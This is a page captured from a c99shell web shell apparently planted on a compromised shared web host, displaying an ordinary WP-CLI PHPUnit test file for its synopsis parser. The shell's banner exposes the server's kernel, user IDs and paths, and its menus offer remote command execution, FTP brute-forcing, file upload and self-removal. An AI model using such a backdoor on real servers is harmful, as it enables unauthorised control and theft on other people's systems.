!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/tests/   drwxr-xr-x
Free 685.23 GB of 879.6 GB (77.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SynopsisParserTest.php (5.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use WP_CLI\SynopsisParser;
use WP_CLI\Tests\TestCase;

class SynopsisParserTest extends TestCase {

    public function testEmpty() {
        $r = SynopsisParser::parse( ' ' );

        $this->assertEmpty( $r );
    }

    public function testPositional() {
        $r = SynopsisParser::parse( '<plugin|zip> [<bar>]' );

        $this->assertCount( 2, $r );

        $param = $r[0];
        $this->assertEquals( 'positional', $param['type'] );
        $this->assertFalse( $param['optional'] );

        $param = $r[1];
        $this->assertEquals( 'positional', $param['type'] );
        $this->assertTrue( $param['optional'] );
    }

    public function testFlag() {
        $r = SynopsisParser::parse( '[--foo]' );

        $this->assertCount( 1, $r );

        $param = $r[0];
        $this->assertEquals( 'flag', $param['type'] );
        $this->assertTrue( $param['optional'] );

        // Flags can't be mandatory.
        $r = SynopsisParser::parse( '--foo' );

        $this->assertCount( 1, $r );

        $param = $r[0];
        $this->assertEquals( 'unknown', $param['type'] );
    }

    public function testGeneric() {
        $r = SynopsisParser::parse( '--<field>=<value> [--<field>=<value>] --<field>[=<value>] [--<field>[=<value>]]' );

        $this->assertCount( 4, $r );

        $param = $r[0];
        $this->assertEquals( 'generic', $param['type'] );
        $this->assertFalse( $param['optional'] );

        $param = $r[1];
        $this->assertEquals( 'generic', $param['type'] );
        $this->assertTrue( $param['optional'] );

        $param = $r[2];
        $this->assertEquals( 'unknown', $param['type'] );

        $param = $r[3];
        $this->assertEquals( 'unknown', $param['type'] );
    }

    public function testAssoc() {
        $r = SynopsisParser::parse( '--foo=<value> [--bar=<value>] [--bar[=<value>]]' );

        $this->assertCount( 3, $r );

        $param = $r[0];
        $this->assertEquals( 'assoc', $param['type'] );
        $this->assertFalse( $param['optional'] );

        $param = $r[1];
        $this->assertEquals( 'assoc', $param['type'] );
        $this->assertTrue( $param['optional'] );

        $param = $r[2];
        $this->assertEquals( 'assoc', $param['type'] );
        $this->assertTrue( $param['optional'] );
        $this->assertTrue( $param['value']['optional'] );
    }

    public function testInvalidAssoc() {
        $r = SynopsisParser::parse( '--bar[=<value>] --bar=[<value>] --count=100' );

        $this->assertCount( 3, $r );

        $this->assertEquals( 'unknown', $r[0]['type'] );
        $this->assertEquals( 'unknown', $r[1]['type'] );
        $this->assertEquals( 'unknown', $r[2]['type'] );
    }

    public function testRepeating() {
        $r = SynopsisParser::parse( '<positional>... [--<field>=<value>...]' );

        $this->assertCount( 2, $r );

        $param = $r[0];
        $this->assertEquals( 'positional', $param['type'] );
        $this->assertTrue( $param['repeating'] );

        $param = $r[1];
        $this->assertEquals( 'generic', $param['type'] );
        $this->assertTrue( $param['repeating'] );
    }

    public function testCombined() {
        $r = SynopsisParser::parse( '<positional> --assoc=<someval> --<field>=<value> [--flag]' );

        $this->assertCount( 4, $r );

        $this->assertEquals( 'positional', $r[0]['type'] );
        $this->assertEquals( 'assoc', $r[1]['type'] );
        $this->assertEquals( 'generic', $r[2]['type'] );
        $this->assertEquals( 'flag', $r[3]['type'] );
    }

    public function testAllowedValueCharacters() {
        $r = SynopsisParser::parse( '--capitals=<VALUE> --hyphen=<val-ue> --combined=<VAL-ue> --disallowed=<wrong:char>' );

        $this->assertCount( 4, $r );

        $param = $r[0];
        $this->assertEquals( 'assoc', $param['type'] );
        $this->assertFalse( $param['optional'] );

        $param = $r[1];
        $this->assertEquals( 'assoc', $param['type'] );
        $this->assertFalse( $param['optional'] );

        $param = $r[2];
        $this->assertEquals( 'assoc', $param['type'] );
        $this->assertFalse( $param['optional'] );

        $this->assertEquals( 'unknown', $r[3]['type'] );
    }

    public function testRender() {
        $a = [
            [
                'name'        => 'message',
                'type'        => 'positional',
                'description' => 'A short message to display to the user.',
            ],
            [
                'name'        => 'secrets',
                'type'        => 'positional',
                'description' => 'You may tell secrets, or you may not',
                'optional'    => true,
                'repeating'   => true,
            ],
            [
                'name'        => 'meal',
                'type'        => 'assoc',
                'description' => 'A meal during the day or night.',
            ],
            [
                'name'        => 'snack',
                'type'        => 'assoc',
                'description' => 'If you are hungry between meals, you should snack.',
                'optional'    => true,
            ],
            [
                'name'        => 'skip',
                'type'        => 'assoc',
                'description' => 'Skip all meals, or skip a single meal by name.',
                'optional'    => true,
                'value'       => [
                    'optional' => true,
                ],
            ],
        ];
        $this->assertEquals( '<message> [<secrets>...] --meal=<meal> [--snack=<snack>] [--skip[=<skip>]]', SynopsisParser::render( $a ) );
    }

    public function testParseThenRender() {
        $o = '<positional> --assoc=<assoc> [--double[=<optional>]] --<field>=<value> [--flag]';
        $a = SynopsisParser::parse( $o );
        $r = SynopsisParser::render( $a );
        $this->assertEquals( $o, $r );
    }

    public function testParseThenRenderNumeric() {
        $o = '<p1ositional> --a2ssoc=<assoc> --<field>=<value> [--f3lag]';
        $a = SynopsisParser::parse( $o );
        $this->assertEquals( 'p1ositional', $a[0]['name'] );
        $this->assertEquals( 'a2ssoc', $a[1]['name'] );
        $this->assertEquals( 'f3lag', $a[3]['name'] );
        $r = SynopsisParser::render( $a );
        $this->assertEquals( $o, $r );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0111 ]--